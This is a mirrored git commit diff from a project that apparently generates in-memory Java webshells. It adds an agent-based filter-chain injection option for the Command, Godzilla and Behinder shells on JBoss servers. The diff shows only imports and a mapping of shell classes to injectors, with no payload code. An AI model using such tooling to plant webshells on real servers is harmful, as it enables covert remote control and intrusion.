mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support jbossas agent shell
This commit is contained in:
@@ -4,14 +4,18 @@ import com.reajason.javaweb.memshell.jboss.injector.JbossFilterInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossListenerInjector;
|
||||
import com.reajason.javaweb.memshell.jboss.injector.JbossValveInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -23,13 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class JbossShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(CommandFilter.class, JbossFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, JbossListenerInjector.class),
|
||||
VALVE, Pair.of(CommandValve.class, JbossValveInjector.class)
|
||||
VALVE, Pair.of(CommandValve.class, JbossValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -38,7 +44,8 @@ public class JbossShell extends AbstractShell {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(GodzillaFilter.class, JbossFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, JbossListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class)
|
||||
VALVE, Pair.of(GodzillaValve.class, JbossValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -47,7 +54,8 @@ public class JbossShell extends AbstractShell {
|
||||
return Map.of(
|
||||
FILTER, Pair.of(BehinderFilter.class, JbossFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, JbossListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class)
|
||||
VALVE, Pair.of(BehinderValve.class, JbossValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user